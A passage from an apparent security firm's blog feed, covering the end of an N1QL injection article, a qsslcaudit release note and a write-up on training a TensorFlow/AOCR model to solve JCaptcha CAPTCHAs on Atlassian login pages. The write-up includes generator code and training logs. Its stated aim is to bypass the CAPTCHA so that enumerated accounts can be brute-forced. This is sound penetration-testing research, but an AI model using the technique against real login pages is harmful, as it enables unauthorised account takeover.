<code>http://127.0.0.1:8081/</code> is a listening socket of our Spring application.</p> <p>The tool allows to extract more information, see its help page. It also allows to execute arbitrary N1QL queries. Their full reference is <a rel="noopener noreferrer" target="_blank" href="https://docs.couchbase.com/server/current/n1ql/n1ql-language-reference/index.html">here</a>.</p> <p>To what extent this can be exploited is another topic. At least, arbitrary data from the same bucket should be available. This already should proof the validity of N1QL injection finding.</p> <h2><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <p>We may conclude that it is possible to write a vulnerable application even by using generally safe instruments. It is also a lesson that you can not just state: we use Spring, we use <code>@Query</code> annotation, so we are safe from SQL/NoSQL injections. This is not the case as this article demonstrates.</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Thu, 09/30/2021 - 12:14</span> Thu, 30 Sep 2021 10:14:31 +0000 pavel 967 at https://www.gremwell.com qsslcaudit release v0.8.3 https://www.gremwell.com/qsslcaudit_v0.8.3 <span>qsslcaudit release v0.8.3</span> <div><p>A new version has been released of our tool which we use to assess TLS clients security: <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/releases/tag/v0.8.3">v0.8.3</a>.</p> <p>The corresponding packages for various Ubuntu versions are prepared in <code>ppa:gremwell/qsslcaudit</code>. Packaging for Kali is handled by Kali maintainers.</p> <p>Each time you dive into the process of TLS handshake you figure out that there is much more deeper. This time several minor improvements have been implemented to address unexpected outcomes which we observed.</p> <p>For instance: set SAN (subject alternative name) when crafting a custom certificate, set expiration time to 1 year instead of 10, use SHA256 digest to sign the certificate. Without these changes modern browsers (and WebViews) will not trust a certificate even if it is signed by the trusted authority.</p> <p>As was mentioned in Github <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/issues/18">issue</a>, there are clients which may not trust any of ciphers provided by our rogue TLS server. This case has to be handled separately.</p> <p>We believe that there still many hidden &quot;gems&quot; in the TLS world from its practical perspective, thus, expect new releases.</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Mon, 04/12/2021 - 15:55</span> Mon, 12 Apr 2021 13:55:20 +0000 pavel 966 at https://www.gremwell.com Breaking JCaptcha using Tensorflow and AOCR https://www.gremwell.com/breaking-jcaptcha-tensorflow-aocr <span>Breaking JCaptcha using Tensorflow and AOCR</span> <div><h3><a id="user-content-introduction" href="#introduction" name="introduction" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h3> <p>In early 2020, we had a situation where we wanted to abuse a <a rel="noopener noreferrer" target="_blank" href="https://jira.atlassian.com/browse/JRASERVER-23653">known username enumeration issue</a> in Atlassian products. The vulnerability allows to enumerate valid username, but if an attacker wants to bruteforce the identified accounts, a CAPTCHA is displayed in the login page and prevents actual exploitation of the vulnerability.</p> <p>We therefore looked for a way to automatically bypass this protection. We came upon <a rel="noopener noreferrer" target="_blank" href="https://labs.f-secure.com/blog/captcha22/">this article</a> published by F-Secure where they describe a methodology that uses machine learning algorithms to break CAPTCHAs. This seemed like the perfect tool for our purpose. This post will guide you through our process.</p> <h3><a id="user-content-technologies" href="#technologies" name="technologies" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Technologies</h3> <p>F-Secure solution is based on <a rel="noopener noreferrer" target="_blank" href="https://github.com/emedvedev/attention-ocr">AOCR</a> and <a rel="noopener noreferrer" target="_blank" href="https://www.tensorflow.org/">Tensorflow</a>. They also provided some utility scripts written in Python to help during the classification and labeling phases.</p> <p>We noticed that Alassian products use the <a rel="noopener noreferrer" target="_blank" href="http://jcaptcha.sourceforge.net/">JCaptcha library</a> which was last updated in September 2012. This library produce relatively simple text CAPTCHAS by default, giving us the sense that they _could_ be broken.</p> <p><img src="https://www.gremwell.com/sites/default/files/ad7129abd3104b9dadd36f0d0aedee1b_0.jpg" alt="jcaptcha2.jpg" /></p> <p><img src="https://www.gremwell.com/sites/default/files/bae4bf8a2c6f46e188df1f578feab23e_0.jpg" alt="jcaptcha3.jpg" /></p> <h3><a id="user-content-experiment" href="#experiment" name="experiment" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Experiment</h3> <h4><a id="user-content-initial-setup" href="#initial-setup" name="initial-setup" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Initial Setup</h4> <p>Following F-Secure explanations in their <a rel="noopener noreferrer" target="_blank" href="https://github.com/FSecureLABS/captcha_cracking">Github article</a> we installed Tensorflow on our test server. Note that AOCR works with Tensorflow version 1, and we wanted to used our GPUs, we therefore installed the package &quot;tensorflow-gpu&quot; and the dependencies (CUDA, CUPTI, cuDNN) following the <a rel="noopener noreferrer" target="_blank" href="https://www.tensorflow.org/install/gpu">official documentation</a>. We had to try a few different tensorflow-gpu versions to avoid issues with our hardware, and ended-up using tensorflow-gpu v1.8.</p> <h4><a id="user-content-generating-a-test-set" href="#generating-a-test-set" name="generating-a-test-set" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Generating a test set</h4> <p>To produce a valid test set while avoiding the hassle of manually labeling CAPTCHAs, we wrote a piece of Java code that would generate CAPTCHA image files using JCaptcha libary. This piece of code would take advantage of Java introspection in order to name the file after the CAPTCHA value.</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.image.BufferedImage</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.File</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.FileNotFoundException</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.FileOutputStream</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.IOException</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.lang.reflect.Field</span><span style="color: #339933;">;</span><br /> <br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javax.imageio.ImageIO</span><span style="color: #339933;">;</span><br /> <br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">com.octo.captcha.engine.image.gimpy.DefaultGimpyEngine</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">com.octo.captcha.image.ImageCaptchaFactory</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">com.octo.captcha.image.gimpy.Gimpy</span><span style="color: #339933;">;</span><br /> <br /> <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Main <span style="color: #009900;">&#123;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> args<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">NoSuchFieldException</span>, <span style="color: #003399;">SecurityException</span>, <span style="color: #003399;">IllegalArgumentException</span>, <span style="color: #003399;">IllegalAccessException</span>, <span style="color: #003399;">FileNotFoundException</span>, <span style="color: #003399;">IOException</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>args.<span style="color: #006633;">length</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Usage: java -jar capatcha-generator.jar &lt;number of captchas&gt; &lt;directory to write in&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">System</span>.<span style="color: #006633;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Factory stuff</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; DefaultGimpyEngine bge <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> DefaultGimpyEngine<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; ImageCaptchaFactory factory <span style="color: #339933;">=</span> bge.<span style="color: #006633;">getImageCaptchaFactory</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">int</span> num <span style="color: #339933;">=</span> <span style="color: #003399;">Integer</span>.<span style="color: #006633;">parseInt</span><span style="color: #009900;">&#40;</span>args<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">String</span> dir <span style="color: #339933;">=</span> args<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span> dir.<span style="color: #006633;">endsWith</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dir <span style="color: #339933;">=</span> dir <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Generating &quot;</span> <span style="color: #339933;">+</span> num <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; captchas in &quot;</span> <span style="color: #339933;">+</span> dir <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot; directory&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> <br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>num<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Gimpy pixCaptcha <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>Gimpy<span style="color: #009900;">&#41;</span> factory.<span style="color: #006633;">getImageCaptcha</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Introspection to get CAPTCHA response, which is a private field</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">Field</span> privateStringField<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">String</span> fieldValue<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; privateStringField <span style="color: #339933;">=</span> Gimpy.<span style="color: #000000; font-weight: bold;">class</span>.<span style="color: #006633;">getDeclaredField</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;response&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; privateStringField.<span style="color: #006633;">setAccessible</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fieldValue <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#41;</span> privateStringField.<span style="color: #006633;">get</span><span style="color: #009900;">&#40;</span>pixCaptcha<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> <br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// write to JPEG file using Java 8 APIs</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">BufferedImage</span> bi <span style="color: #339933;">=</span> pixCaptcha.<span style="color: #006633;">getImageChallenge</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// System.out.println(&quot;About to create &nbsp;&quot; + dir+fieldValue+&quot;.jpeg&quot;);</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">File</span> f <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">File</span><span style="color: #009900;">&#40;</span>dir<span style="color: #339933;">+</span>fieldValue<span style="color: #339933;">+</span><span style="color: #0000ff;">&quot;.jpeg&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ImageIO.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>bi, <span style="color: #0000ff;">&quot;jpeg&quot;</span>, <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">FileOutputStream</span><span style="color: #009900;">&#40;</span>f<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">System</span>.<span style="color: #006633;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p>You can download the JAR file from <a href="https://www.gremwell.com/sites/default/files/captcha-generator_0.tgz">this archive</a> and use it to generate an arbitrary number of CAPTCHAs, that will be stored in the mentioned directory. In our case, we generated around 20 000 CAPTCHAs image:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">java -jar captcha-generator.jar 20000 captchas</div></div> <p>The generated images are small (200x70) JPEG files:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">file captchas/taiders.jpeg <br /> test/taiders.jpeg: JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 200x70, components 3</div></div> <h4><a id="user-content-getting-everything-ready" href="#getting-everything-ready" name="getting-everything-ready" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Getting everything ready</h4> <p>We used a slightly modified version of F-Secure script, and generated the list file:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">python label_generating_script.py captchas label_files</div></div> <p>We split the file in two parts: one for the training phase (with 18000 CAPTCHAS), and one for the testing (with 2073 CAPTCHAs).</p> <p>We then generated the <code>tfrecords</code> files using AOCR:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">aocr dataset train_labels.txt training.tfrecords<br /> aocr dataset test_labels.txt testing.tfrecords</div></div> <h4><a id="user-content-training-the-model" href="#training-the-model" name="training-the-model" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Training the model</h4> <p>We then started training the model with AOCR, specifying our images width and height explicitly:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">aocr train training.tfrecords --max-width=200 --max-height=70</div></div> <p>Using <code>tensorflow-gpu</code> with our 6 NVidia GPUs, we quickly got small enough <code>perplexity</code> and <code>loss</code> values:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">2020-04-02 15:42:14,039 root &nbsp;INFO &nbsp; &nbsp; Saving the model at step 5700.<br /> 2020-04-02 15:42:14,941 root &nbsp;INFO &nbsp; &nbsp; Step 5701: 0.138s, loss: 0.002095, perplexity: 1.002097.<br /> 2020-04-02 15:42:15,095 root &nbsp;INFO &nbsp; &nbsp; Step 5702: 0.144s, loss: 0.000374, perplexity: 1.000374.<br /> 2020-04-02 15:42:15,248 root &nbsp;INFO &nbsp; &nbsp; Step 5703: 0.146s, loss: 0.000511, perplexity: 1.000512.<br /> 2020-04-02 15:42:15,403 root &nbsp;INFO &nbsp; &nbsp; Step 5704: 0.148s, loss: 0.002965, perplexity: 1.002969.<br /> 2020-04-02 15:42:15,555 root &nbsp;INFO &nbsp; &nbsp; Step 5705: 0.145s, loss: 0.000307, perplexity: 1.000307.<br /> 2020-04-02 15:42:15,704 root &nbsp;INFO &nbsp; &nbsp; Step 5706: 0.142s, loss: 0.000300, perplexity: 1.000300.<br /> 2020-04-02 15:42:15,859 root &nbsp;INFO &nbsp; &nbsp; Step 5707: 0.145s, loss: 0.000259, perplexity: 1.000259.<br /> 2020-04-02 15:42:16,003 root &nbsp;INFO &nbsp; &nbsp; Step 5708: 0.136s, loss: 0.002224, perplexity: 1.002226.</div></div> <p>Time to see the magic happen by testing the model !</p> <h4><a id="user-content-testing-the-model" href="#testing-the-model" name="testing-the-model" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testing the model</h4> <p>We started the AOCR testing phase and immediately observed interesting results:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">aocr test testing.tfrecords --max-width=200 --max-height=70<br /> <br /> ...TRIMMED...<br /> 2020-04-02 15:43:15,675 root &nbsp;INFO &nbsp; &nbsp; Step 2046 (0.016s). Accuracy: 99.11%, loss: 0.018858, perplexity: 1.01904, probability: 86.00% 100% (LINENER)<br /> 2020-04-02 15:43:15,694 root &nbsp;INFO &nbsp; &nbsp; Step 2047 (0.017s). Accuracy: 99.11%, loss: 0.000010, perplexity: 1.00001, probability: 99.99% 100% (BODMING)<br /> 2020-04-02 15:43:15,711 root &nbsp;INFO &nbsp; &nbsp; Step 2048 (0.017s). Accuracy: 99.11%, loss: 0.320211, perplexity: 1.37742, probability: 92.24% &nbsp;86% (RAMATER vs NAMATER)<br /> 2020-04-02 15:43:15,728 root &nbsp;INFO &nbsp; &nbsp; Step 2049 (0.016s). Accuracy: 99.11%, loss: 0.000018, perplexity: 1.00002, probability: 99.98% 100% (CHEGING)<br /> 2020-04-02 15:43:15,746 root &nbsp;INFO &nbsp; &nbsp; Step 2050 (0.017s). Accuracy: 99.11%, loss: 0.000004, perplexity: 1.00000, probability: 100.00% 100% (CURTERS)<br /> 2020-04-02 15:43:15,764 root &nbsp;INFO &nbsp; &nbsp; Step 2051 (0.017s). Accuracy: 99.11%, loss: 0.000289, perplexity: 1.00029, probability: 99.77% 100% (OFFOTON)<br /> 2020-04-02 15:43:15,781 root &nbsp;INFO &nbsp; &nbsp; Step 2052 (0.016s). Accuracy: 99.11%, loss: 0.000023, perplexity: 1.00002, probability: 99.98% 100% (BRAEVER)<br /> 2020-04-02 15:43:15,798 root &nbsp;INFO &nbsp; &nbsp; Step 2053 (0.017s). Accuracy: 99.11%, loss: 0.000014, perplexity: 1.00001, probability: 99.99% 100% (KINVING)<br /> 2020-04-02 15:43:15,816 root &nbsp;INFO &nbsp; &nbsp; Step 2054 (0.017s). Accuracy: 99.11%, loss: 0.006647, perplexity: 1.00667, probability: 94.82% 100% (RULTING)<br /> 2020-04-02 15:43:15,840 root &nbsp;INFO &nbsp; &nbsp; Step 2055 (0.023s). Accuracy: 99.11%, loss: 0.003970, perplexity: 1.00398, probability: 96.87% 100% (BIRSTIC)<br /> 2020-04-02 15:43:15,858 root &nbsp;INFO &nbsp; &nbsp; Step 2056 (0.017s). Accuracy: 99.11%, loss: 0.000272, perplexity: 1.00027, probability: 99.78% 100% (LOVINER)<br /> 2020-04-02 15:43:15,877 root &nbsp;INFO &nbsp; &nbsp; Step 2057 (0.018s). Accuracy: 99.11%, loss: 0.000056, perplexity: 1.00006, probability: 99.95% 100% (ACRTING)<br /> 2020-04-02 15:43:15,894 root &nbsp;INFO &nbsp; &nbsp; Step 2058 (0.016s). Accuracy: 99.11%, loss: 0.000036, perplexity: 1.00004, probability: 99.97% 100% (OLDHTLY)<br /> 2020-04-02 15:43:15,912 root &nbsp;INFO &nbsp; &nbsp; Step 2059 (0.018s). Accuracy: 99.11%, loss: 0.000003, perplexity: 1.00000, probability: 100.00% 100% (WALTEST)<br /> 2020-04-02 15:43:15,929 root &nbsp;INFO &nbsp; &nbsp; Step 2060 (0.016s). Accuracy: 99.11%, loss: 0.000174, perplexity: 1.00017, probability: 99.86% 100% (NEENTER)<br /> 2020-04-02 15:43:15,946 root &nbsp;INFO &nbsp; &nbsp; Step 2061 (0.016s). Accuracy: 99.11%, loss: 0.000142, perplexity: 1.00014, probability: 99.89% 100% (SELKING)<br /> 2020-04-02 15:43:15,964 root &nbsp;INFO &nbsp; &nbsp; Step 2062 (0.017s). Accuracy: 99.11%, loss: 0.000082, perplexity: 1.00008, probability: 99.93% 100% (SOLHING)<br /> 2020-04-02 15:43:15,982 root &nbsp;INFO &nbsp; &nbsp; Step 2063 (0.017s). Accuracy: 99.11%, loss: 0.000151, perplexity: 1.00015, probability: 99.88% 100% (VALHINE)<br /> 2020-04-02 15:43:16,000 root &nbsp;INFO &nbsp; &nbsp; Step 2064 (0.018s). Accuracy: 99.11%, loss: 0.000003, perplexity: 1.00000, probability: 99.99% 100% (METGEST)<br /> 2020-04-02 15:43:16,018 root &nbsp;INFO &nbsp; &nbsp; Step 2065 (0.017s). Accuracy: 99.11%, loss: 0.000076, perplexity: 1.00008, probability: 99.94% 100% (KICELED)<br /> 2020-04-02 15:43:16,036 root &nbsp;INFO &nbsp; &nbsp; Step 2066 (0.018s). Accuracy: 99.11%, loss: 0.000014, perplexity: 1.00001, probability: 99.99% 100% (UNWORED)<br /> 2020-04-02 15:43:16,055 root &nbsp;INFO &nbsp; &nbsp; Step 2067 (0.018s). Accuracy: 99.12%, loss: 0.000011, perplexity: 1.00001, probability: 99.97% 100% 